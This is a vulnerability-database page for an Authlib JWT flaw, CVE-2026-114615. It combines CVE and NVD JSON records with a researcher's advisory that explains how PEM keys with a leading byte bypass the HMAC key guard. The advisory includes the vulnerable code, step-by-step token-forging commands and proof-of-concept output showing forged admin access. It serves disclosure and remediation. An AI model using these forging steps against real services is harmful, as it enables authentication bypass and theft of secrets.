Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-114615 (GCVE-0-2026-114615)
Vulnerability from cvelistv5 – Published: 2026-10-22 21:10 – Updated: 2026-10-29 02:38| URL | Tags |
|---|---|
| https://github.com/authlib/authlib/security/advis… | x_refsource_CONFIRM |
| https://github.com/authlib/authlib/pull/945 | x_refsource_MISC |
| https://github.com/authlib/authlib/commit/e3bd41c… | x_refsource_MISC |
| https://github.com/authlib/authlib/releases/tag/v1.9.0 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-114615",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-29T02:37:41.689098Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-29T02:38:05.175Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "authlib",
"vendor": "authlib",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.3.1, \u003c 1.9.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Authlib is a Python library which builds OAuth and OpenID Connect servers. From 1.3.1 until 1.9.0, OctKey.import_key() checks asymmetric-key markers only at byte zero while Authlib\u0027s PEM loaders accept leading whitespace, comments, or a byte-order mark. In deployments that use the documented mixed algorithm registry and already configure verification with PEM or certificate bytes containing such a prefix, an unauthenticated attacker who knows those same public-key bytes can use them as an HMAC secret and forge HS256 tokens with arbitrary identity or authorization claims. This is a bypass of the remediation for CVE-2024-37568. The module-level jwt object reaches OctKey.import_key() in authlib/jose/rfc7518/oct_key.py, where POSSIBLE_UNSAFE_KEYS fails to identify prefixed asymmetric key material. This issue is fixed in version 1.9.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-184",
"description": "CWE-184: Incomplete List of Disallowed Inputs",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-22T21:10:02.023Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"name": "https://github.com/authlib/authlib/pull/945",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"name": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"name": "https://github.com/authlib/authlib/releases/tag/v1.9.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
}
],
"source": {
"advisory": "GHSA-7vr2-2fgp-9w7p",
"discovery": "UNKNOWN"
},
"title": "Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-114615",
"datePublished": "2026-10-22T21:10:02.023Z",
"dateReserved": "2026-10-21T20:34:25.600Z",
"dateUpdated": "2026-10-29T02:38:05.175Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-114615",
"date": "2026-10-29",
"epss": "0.00194",
"percentile": "0.09073"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "authlib",
"vendor": "authlib",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.3.1, \u003c 1.9.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:authlib:authlib:*:*:*:*:*:*:*:*",
"matchCriteriaId": "BDB0728F-7716-44F4-A9F1-A4CF1860D723",
"versionEndExcluding": "1.9.0",
"versionStartIncluding": "1.3.1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Authlib is a Python library which builds OAuth and OpenID Connect servers. From 1.3.1 until 1.9.0, OctKey.import_key() checks asymmetric-key markers only at byte zero while Authlib\u0027s PEM loaders accept leading whitespace, comments, or a byte-order mark. In deployments that use the documented mixed algorithm registry and already configure verification with PEM or certificate bytes containing such a prefix, an unauthenticated attacker who knows those same public-key bytes can use them as an HMAC secret and forge HS256 tokens with arbitrary identity or authorization claims. This is a bypass of the remediation for CVE-2024-37568. The module-level jwt object reaches OctKey.import_key() in authlib/jose/rfc7518/oct_key.py, where POSSIBLE_UNSAFE_KEYS fails to identify prefixed asymmetric key material. This issue is fixed in version 1.9.0."
}
],
"id": "CVE-2026-114615",
"lastModified": "2026-10-29T14:50:19.033",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 5.2,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.2,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-114615",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-29T02:37:41.689098Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-10-22T22:18:04.257",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-184"
},
{
"lang": "en",
"value": "CWE-347"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Important",
"current_release_date": "2026-10-30T04:30:05+00:00",
"cve": "CVE-2026-114615",
"id": "CVE-2026-114615",
"initial_release_date": "2026-10-22T21:10:02.023000+00:00",
"product_status:known_affected": "11",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "authlib: Authlib: Authentication bypass via improper asymmetric key validation",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-114615.json",
"version": "3"
},
"suse_vex": {
"aggregate_severity": "important",
"current_release_date": "2026-10-23T23:40:51Z",
"cve": "CVE-2026-114615",
"id": "CVE-2026-114615",
"initial_release_date": "2026-10-23T23:40:51Z",
"product_status:known_affected": "14",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-114615",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/2026/cve-2026-114615.json",
"version": "2"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-114615",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-29T02:37:41.689098Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-29T02:37:58.132Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "authlib",
"vendor": "authlib",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.3.1, \u003c 1.9.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Authlib is a Python library which builds OAuth and OpenID Connect servers. From 1.3.1 until 1.9.0, OctKey.import_key() checks asymmetric-key markers only at byte zero while Authlib\u0027s PEM loaders accept leading whitespace, comments, or a byte-order mark. In deployments that use the documented mixed algorithm registry and already configure verification with PEM or certificate bytes containing such a prefix, an unauthenticated attacker who knows those same public-key bytes can use them as an HMAC secret and forge HS256 tokens with arbitrary identity or authorization claims. This is a bypass of the remediation for CVE-2024-37568. The module-level jwt object reaches OctKey.import_key() in authlib/jose/rfc7518/oct_key.py, where POSSIBLE_UNSAFE_KEYS fails to identify prefixed asymmetric key material. This issue is fixed in version 1.9.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-184",
"description": "CWE-184: Incomplete List of Disallowed Inputs",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-22T21:10:02.023Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"name": "https://github.com/authlib/authlib/pull/945",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"name": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"name": "https://github.com/authlib/authlib/releases/tag/v1.9.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
}
],
"source": {
"advisory": "GHSA-7vr2-2fgp-9w7p",
"discovery": "UNKNOWN"
},
"title": "Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-114615",
"datePublished": "2026-10-22T21:10:02.023Z",
"dateReserved": "2026-10-21T20:34:25.600Z",
"dateUpdated": "2026-10-29T02:38:05.175Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
BREW-FASTMCP-CVE-2026-114615 (GHSA-7VR2-2FGP-9W7P)
Vulnerability from osv_homebrew – Published: 2026-10-29 22:09 – Updated: 2026-10-29 22:09 – Source websiteSummary
OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an
HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at
byte 0 — while the loader that consumes the identical bytes on the asymmetric path
(cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate)
skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one
leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is
therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the
issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as
authentic.
This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly
this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single
commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the
original attack works again unchanged whenever the stored PEM does not start at offset 0.
Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main
(c529a61), with cryptography 50.0.2.
Preconditions
Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.
- The relying party uses the documented module-level
jwtobject.from authlib.jose import jwtis built atauthlib/jose/__init__.py:55-72with the full list["HS256","HS384","HS512","RS256",...,"EdDSA"], andJsonWebToken.decode(authlib/jose/rfc7519/jwt.py:80) exposes noalgorithmsparameter, so a caller of the documented object has no way to narrow it. This is the first code sample indocs/jose/jwt.rst:21-31.
This hazard is already documented: docs/jose/jwt.rst:73-79 says
"This decoding method is insecure. By default jwt.decode parses the alg header. This allows
symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never
combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is
not that the mixed list exists — it is that the oct_key.py:81 backstop shipped for precisely
that documented hazard does not hold.
- The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with
-----BEGIN. Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: - one leading newline — what a triple-quoted Python literal produces
- one leading space
- four-space indentation — an indented YAML/JSON/TOML config block
- a UTF-8 BOM — a Windows-editor artifact
- a leading comment line
- all of the above applied to an X.509
CERTIFICATEPEM instead of aPUBLIC KEYPEM
A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.
Details
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)
bytes.startswith is anchored. The loader on the asymmetric path is not:
authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key /
load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte
strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference
is exploitable.
Reach, for a caller of the documented object:
authlib/jose/rfc7518/jws_algs.py:59—HMACAlgorithm.prepare_key(raw_data)returnsOctKey.import_key(raw_data); this is the whole of the HMAC key handling.authlib/jose/rfc7519/jwt.py:80—JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked only against the instance's list.authlib/jose/__init__.py:55-72— that list contains both HS* and RS*/ES*/PS*/EdDSA.
So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC
secret, and it is bypassed by a single leading byte.
PoC
poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented
jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a
triple-quoted Python literal (hence one leading newline). The attacker is given only that public
key.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.
Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
Steps to reproduce
pip install authlib==1.8.0 cryptography flask requests- Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line).
- Confirm
authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYSdoes not match those bytes withstartswith, whilecryptography.hazmat.primitives.serialization.load_pem_public_keyloads them. from authlib.jose import jwtthentok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem)— verification succeeds and the claims are returned.
Impact
Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm
confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by
definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with
arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP
200 and the application's admin secrets for sub=attacker.
Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent,
read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented
footgun it backstops.
Two notes for triage, in the interest of completeness:
authlib.joseemitsAuthlibDeprecationWarning("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented indocs/jose/jwt.rst, and still carries the download volume above.- joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit
ktyin the data model, sojwt.decodewith anRSAKey/ECKeyandalg=HS256raisesInvalidKeyTypeErrorfor every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there.
Suggested remediation
Either of these closes the class rather than one more byte form:
- Decide key family by type, not by bytes. Attempt
load_pem_public_key/load_pem_x509_certificate/load_ssh_public_key/load_der_public_keyon the candidate and reject it as anoctkey if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it is the loader. - If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check
(
any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the-----BEGIN CERTIFICATE-----and DERSubjectPublicKeyInfocases. This is strictly weaker than (1): the recogniser can drift again the next timecryptographybecomes more tolerant.
Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter
would let callers of the documented module-level object apply the mitigation the docs recommend without
constructing a second JsonWebToken.
Credit
Found by zer0d4y5. Happy to test a patch branch before release.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "authlib",
"resource_purl": "pkg:pypi/authlib@1.9.1",
"upstream_fixed_in": "1.9.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "fastmcp",
"purl": "pkg:brew/fastmcp"
},
"ranges": [
{
"events": [
{
"introduced": "2.12.3"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/authlib@1.9.1",
"name": "authlib",
"resource": "authlib",
"strategy": "registry",
"subject_version": "1.9.1"
}
]
},
"details": "## Summary\n\n`OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an\nHMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` \u2014 anchored at\nbyte 0 \u2014 while the loader that consumes the identical bytes on the asymmetric path\n(`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`)\nskips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one\nleading byte** \u2014 a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line \u2014 is\ntherefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the\nissuer\u0027s public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as\nauthentic.\n\nThis is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory\u0027s fix is exactly\nthis guard (`git log -S \u0027POSSIBLE_UNSAFE_KEYS\u0027 -- authlib/jose/rfc7518/oct_key.py` returns a single\ncommit, `3bea812` \"fix: prevent OctKey to import ssh/rsa/pem keys\", referencing issue #654), and the\noriginal attack works again unchanged whenever the stored PEM does not start at offset 0.\n\nReproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main`\n(`c529a61`), with `cryptography` 50.0.2.\n\n## Preconditions\n\nBoth are deployment properties; neither is attacker-controlled at request time, and the attacker needs\nno secret and no user interaction.\n\n1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt`\n is built at `authlib/jose/__init__.py:55-72` with the full list\n `[\"HS256\",\"HS384\",\"HS512\",\"RS256\",...,\"EdDSA\"]`, and `JsonWebToken.decode`\n (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the\n documented object has no way to narrow it. This is the first code sample in\n `docs/jose/jwt.rst:21-31`.\n\n This hazard is already documented: `docs/jose/jwt.rst:73-79` says\n \"This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows\n symmetric macs and asymmetric signatures.\", and `docs/jose/jwt.rst:94-98` says \"You should never\n combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes.\" The point of this report is\n **not** that the mixed list exists \u2014 it is that the `oct_key.py:81` backstop shipped for precisely\n that documented hazard does not hold.\n\n2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with\n `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a\n genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:\n * one leading newline \u2014 what a triple-quoted Python literal produces\n * one leading space\n * four-space indentation \u2014 an indented YAML/JSON/TOML config block\n * a UTF-8 BOM \u2014 a Windows-editor artifact\n * a leading comment line\n * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC KEY` PEM\n\n A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric\n verification through this path, so I exclude it as a non-deployable configuration and mention it\n only as further evidence of the recogniser/loader gap.\n\n## Details\n\n`authlib/jose/rfc7518/oct_key.py:10-17`\n\n```python\nPOSSIBLE_UNSAFE_KEYS = (\n b\"-----BEGIN \",\n b\"---- BEGIN \",\n b\"ssh-rsa \",\n b\"ssh-dss \",\n b\"ssh-ed25519 \",\n b\"ecdsa-sha2-\",\n)\n```\n\n`authlib/jose/rfc7518/oct_key.py:78-84`\n\n```python\nraw_key = to_bytes(raw)\n\n# security check\nif raw_key.startswith(POSSIBLE_UNSAFE_KEYS):\n raise ValueError(\"This key may not be safe to import\")\n\nkey = cls(raw_key=raw_key, options=options)\n```\n\n`bytes.startswith` is anchored. The loader on the asymmetric path is not:\n`authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` /\n`load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte\nstrings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference\nis exploitable.\n\nReach, for a caller of the documented object:\n\n* `authlib/jose/rfc7518/jws_algs.py:59` \u2014 `HMACAlgorithm.prepare_key(raw_data)` returns\n `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling.\n* `authlib/jose/rfc7519/jwt.py:80` \u2014 `JsonWebToken.decode(self, s, key, claims_cls=None,\n claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked\n only against the instance\u0027s list.\n* `authlib/jose/__init__.py:55-72` \u2014 that list contains both HS\\* and RS\\*/ES\\*/PS\\*/EdDSA.\n\nSo `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC\nsecret, and it is bypassed by a single leading byte.\n\n## PoC\n\n`poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented\n`jwt.decode(token, PUBLIC_KEY)`, where `PUBLIC_KEY` is the issuer\u0027s RSA public key embedded as a\ntriple-quoted Python literal (hence one leading newline). The attacker is given **only** that public\nkey.\n\n```\nauthlib=1.8.0 cryptography=50.0.2 flask=3.1.3\nguard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)\ncall = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]\nalgs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])\n\n[baseline 1] genuine RS256 token, role=user -\u003e (403, \u0027{\"error\":\"not admin\",\"sub\":\"alice\"}\u0027)\n[baseline 2] genuine RS256 token, role=admin -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"root\"}\u0027)\n[CONTROL 1 ] payload tampered, RS256 sig kept -\u003e (401, \u0027{\"error\":\"BadSignatureError: bad_signature: \"}\u0027)\n[CONTROL 2 ] HS256 forged with CANONICAL pubkey -\u003e BLOCKED at key import: ValueError: This key may not be safe to import\n[CONTROL 3 ] JsonWebToken([\u0027RS256\u0027]) vs forged token -\u003e REJECTED: UnsupportedAlgorithmError\n\nATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.\nforged token header: {\u0027alg\u0027: \u0027HS256\u0027, \u0027typ\u0027: \u0027JWT\u0027}\n[ATTACK ] HS256 forged with the PUBLIC key -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"attacker\"}\u0027)\n```\n\nThe three controls establish that the guard does work on a canonical PEM (so the leading byte is\nload-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an\neffective mitigation.\n\nPer-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds\non the exact same bytes:\n\n```\n### RSA-2048/RS256\n canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK 